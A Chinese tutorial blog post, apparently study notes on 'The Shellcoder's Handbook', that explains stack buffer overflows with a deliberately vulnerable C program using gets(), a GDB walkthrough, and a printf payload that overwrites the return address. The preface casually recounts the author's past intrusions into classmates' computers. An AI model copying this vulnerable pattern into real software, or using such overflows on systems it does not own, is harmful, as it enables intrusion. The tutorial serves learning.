shellcode之一:棧溢出

來源:互聯網
上載者:User

前言:現在我是嵌入式軟體開發人員,大學本科讀的是電子資訊專業,正常的來說不會與入侵、漏洞利用什麼的打交道。只是大一時心血來潮用工具進入了另外一台電腦。其實這些也無關重要,重要的是我從那台電腦上down了第一部A片。不出意外的話,那台電腦應該屬於女生的,因為那個IP段是女生樓那邊的。後來我就可以很篤定的跟別人說:女生也是要看A片的。後來又用工具入侵了更多的區域網路電腦,甚至學校一些社團的伺服器。再後來,漸感覺沒什麼意思,而迷上了動漫和War3,隨後的幾年大學生活都在動畫和遊戲中掙紮。畢業後的前一兩年,工作還不算忙,失去了遊戲的激情,老是想找點別的東西消遣時間。於是就寫寫與工作無關的程式,對shellcode的研究也在這裡面。現在是不可能提得起心情去搞入侵了,頂多研究一下底層原理,滿足自己的好奇心。這些文章是很早之前寫的,覺得有點價值就把它貼上來了。



聲明:主要內容來自《The Shellcoder's Handbook》,摘錄重點作為筆記並加上個人的一些理解,如有錯,請務必指出。
 
在C、C++語言中,沒有考慮檢查緩衝區的內在邊界,所以使棧溢出成為可能。使用者故意提交超出緩衝區範圍的資料。這種情形可導致不同的後果,包括程式崩潰或強制令程式執行使用者提交的指令。
 
ESP:棧頂寄存器。注意:POP只改變ESP的值,而不改寫或刪除棧上的資料,它只是把棧上的資料複製到操作對象裡。
EBP:棧底寄存器。通常以它為基址來計算其他的地址。也稱為“幀指標”。
EIP:擴充指令指標。EIP中儲存著下一條即將執行的機器指令的地址。在控製程序的執行流程中,是否可以訪問和改變儲存在EIP中的地址將是整個問題的關鍵。


函數調用與棧

系統首先會執行main裡的指令,碰到函數調用時:
1、把調用函數func的參數壓入棧;
2、把函數的返回地址(即RET,RET裡儲存的是調用函數時的指令指標EIP的地址)壓入棧;
3、調用函數。
 
而系統在執行調用函數func指令前首先執行proglog。proglog在棧中儲存一些值,使得系統更好地執行函數:
1、為了使函數可以引用棧上的資料,必須改變EBP的值,把當前EBP的值壓入棧;函數執行結束後,為了計算main裡的地址,我們要用到原先的EBP的值,之前有提及通常以EBP為基址來計算其他的地址;
2、一旦EBP的值被壓入棧,proglog就把當前棧指標ESP複製到EBP;
3、接著,proglog計算func的局部變數所需的地址空間和棧上的保留空間,然後從ESP減去變數的大小,為程式保留必要的空間;
4、最後proglog把func的局部變數壓入棧。
關於“為了使函數可以引用棧上的資料,必須改變EBP的值”,是不是指以EBP為基址來計算棧上的局部變數所在的地址?當前EBP位於局部變數的地址空間之處。

以上所說

+---------------+ 低記憶體位址,棧頂|               |+---------------+|  局部變數     |+---------------+|  EBP          |+---------------+|  RET          |+---------------+|  參數1        |+---------------+|  參數2        |+---------------+|               | +---------------+ 高記憶體位址,棧底

這裡沒有執行個體,不夠直觀,建議看原書P12反組譯碼後的代碼。值得一提的是:函數調用時,call指令會把RET(EIP)壓入棧,之後才把執行控制權交給func函數。

棧上的緩衝區溢位
一個例子程式:
//cc -mpreferred-stack-boundary=2 -ggdb overflow.c -o overflow  #include <stdio.h>  void func()  {  char arr[30];  gets(arr);  printf("%S/n", arr);  }  int main()  {  func();  return 0;  }  

數組arr的長度為30,當輸入的字串“AAAAAAAAAAAAAAAAAAAAAAAAAAAAAADDDDDDDDDD”時(這裡有30個'A'和10個'D'),可引發segment fault。下面顯示了在arr被溢出後棧的情形:

+---------------+ 低記憶體位址,棧頂|               |+---------------+|  AAAAA...ADD  | 數組(30個字元+2個填充字元)+---------------+|  DDDD         | EBP+---------------+|  DDDD         | RET+---------------+|               | +---------------+ 高記憶體位址,棧底

用32B填充數組並繼續執行代碼。我們改寫了儲存EBP的地址,它現在是包括DDDD的十六進位形式的雙位元組。更重要的是,我們用另一組DDDD的雙位元組改寫了RET(原本RET是儲存的返回地址,這個地址指向func()之後的return 0;指令)。當func函數退出時,它將讀出儲存在RET裡的值--現在是0x44444444(DDDD的十六進位形式),並試圖跳到這個地址。但是這個地址不是一個有效地址或者位於受保護的地址空間,故程式將由於段故障而終止。
這裡簡單描述了大體過程,建議按照書上步驟用GDB跟蹤一下整個過程,特別留意func棧上資料的變化狀況。控制EIP現在輸入資料成功溢出了緩衝區,並改寫了EBP和RET的內容,因此,溢出的資料被載入到EIP,當然在上面的情況下進程會崩潰。我們應控製程序的執行流程,或控制載入到EIP的資料。用精心選擇的地址代替D。這些資料將寫入緩衝區並改寫儲存的EBP和RET。當系統從棧上取出RET的值並放入EIP時,這個地址指向的指令將被執行。
這裡簡單描述一下概念,還得進行一些練習以有個直觀印象。在overflow.c的例子中,正常的流程是只列印一次輸入的資料。如果我們要令它列印兩次,即是說令程式調用兩次func,我們首先用GDB反組譯碼main,找到call <func>這句指令的地址如0x080483a5,接著我們設法讓func棧上儲存RET的地方改寫為0x080483a5,這樣func返回後,EIP從func棧上取出RET的值(當然這個值已經被改寫),這個地址指向的call <func>會再次被執行,將進行第二次的列印。
$printf "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAADDDD/xa5/x83/x04/x08" | ./overflow
註:這裡我的命令和書上的描述不同,要根據自己的實際情況來修改。

sep@sep:~/project/shellcode$   sep@sep:~/project/shellcode$ gdb ./overflow  GNU gdb 6.4.90-debian  Copyright (C) 2006 Free Software Foundation, Inc.  GDB is free software, covered by the GNU General Public License, and you are  welcome to change it and/or distribute copies of it under certain conditions.  Type "show copying" to see the conditions.  There is absolutely no warranty for GDB. Type "show warranty" for details.  This GDB was configured as "i486-linux-gnu"...Using host libthread_db library "/lib/tls/i686/cmov/libthread_db.so.1".  (gdb) disas main                           ;反組譯碼main  Dump of assembler code for function main:  0x080483a2 <main+0>: push %ebp  0x080483a3 <main+1>: mov %esp,%ebp  0x080483a5 <main+3>: call 0x8048384 <func> ;找到call <func>的指令地址  0x080483aa <main+8>: mov $0x0,%eax         ;記住這個地址,將儲存到func棧上的RET  0x080483af <main+13>: pop %ebp  0x080483b0 <main+14>: ret   End of assembler dump.  (gdb) disas func                           ;反組譯碼func  Dump of assembler code for function func:  0x08048384 <func+0>: push %ebp  0x08048385 <func+1>: mov %esp,%ebp  0x08048387 <func+3>: sub $0x24,%esp  0x0804838a <func+6>: lea 0xffffffe2(%ebp),%eax  0x0804838d <func+9>: mov %eax,(%esp)  0x08048390 <func+12>: call 0x80482a0 <gets@plt> ;找到call <gets>指令地址  0x08048395 <func+17>: lea 0xffffffe2(%ebp),%eax  0x08048398 <func+20>: mov %eax,(%esp)  0x0804839b <func+23>: call 0x80482b0 <puts@plt> ;找到call <printf>指令地址  0x080483a0 <func+28>: leave   0x080483a1 <func+29>: ret   End of assembler dump.  (gdb) break *0x08048390                            ;設定斷點-gets  Breakpoint 1 at 0x8048390: file overflow.c, line 7.  (gdb) break *0x0804839b                            ;設定斷點-printf  Breakpoint 2 at 0x804839b: file overflow.c, line 8.  (gdb) run  Starting program: /home/sep/project/shellcode/overflow   Failed to read a valid object file image from memory.  Breakpoint 1, 0x08048390 in func () at overflow.c:7  7 gets(arr);  (gdb) x/20x $esp  ;列印未輸入字串時的棧上的內容,此時留意0x080483aa為RET,即func返回後下一條執行指令的地址,我們要修改的就是這個東東。  0xbfe7109c: 0xbfe710a2 0x00000001 0xbfe71144 0xbfe710c8  0xbfe710ac: 0x08048429 0xb7e46c8c 0xb7f68ff4 0x00000000  0xbfe710bc: 0xb7f68ff4 0xbfe710c8 0x080483aa 0xbfe71118  0xbfe710cc: 0xb7e50ea8 0x00000001 0xbfe71144 0xbfe7114c  0xbfe710dc: 0x00000000 0xb7f68ff4 0x00000000 0xb7f8ecc0  (gdb) c  Continuing.  ;輸入字串。這裡共30個字元,用意看棧上內容變化。  AAAABBBBCCCCDDDDEEEEFFFFGGGGHH   Breakpoint 2, 0x0804839b in func () at overflow.c:8  8 printf("%s/n", arr);  (gdb) x/20x $esp ;輸入字串後,觀看棧上內容。  0xbfe7109c: 0xbfe710a2 0x41410001 0x42424141 0x43434242  0xbfe710ac: 0x44444343 0x45454444 0x46464545 0x47474646  0xbfe710bc: 0x48484747 0xbfe71000 0x080483aa 0xbfe71118  0xbfe710cc: 0xb7e50ea8 0x00000001 0xbfe71144 0xbfe7114c  0xbfe710dc: 0x00000000 0xb7f68ff4 0x00000000 0xb7f8ecc0  (gdb) c  Continuing.  AAAABBBBCCCCDDDDEEEEFFFFGGGGHH  Program exited normally.  (gdb) q  ;好了,我們已經知道棧上資料的存放位置,如何改寫棧上的RET令程式列印兩次呢?  ;首先call <func>的地址是0x080483a5,RET的原值為0x080483aa;  ;我們輸入精心選擇的字串,使得棧上的緩衝區溢位,從而改寫RET的值,令其變為call <func>的地址;  ;參考GDB觀看得出的棧上資料結構,可用如下命令實現:  sep@sep:~/project/shellcode$ printf "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAADDDD/xa5/x83/x04/x08" | ./overflow  AAAAAAAAAAAAAAAAAAAAAAAAAAAAAADDDD  AAAAAAAAAAAAAAAAAAAAAAAAAAAAAADDDD獌  sep@sep:~/project/shellcode$  

聯繫我們

該頁面正文內容均來源於網絡整理,並不代表阿里雲官方的觀點,該頁面所提到的產品和服務也與阿里云無關,如果該頁面內容對您造成了困擾,歡迎寫郵件給我們,收到郵件我們將在5個工作日內處理。

如果您發現本社區中有涉嫌抄襲的內容,歡迎發送郵件至: info-contact@alibabacloud.com 進行舉報並提供相關證據,工作人員會在 5 個工作天內聯絡您,一經查實,本站將立刻刪除涉嫌侵權內容。

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.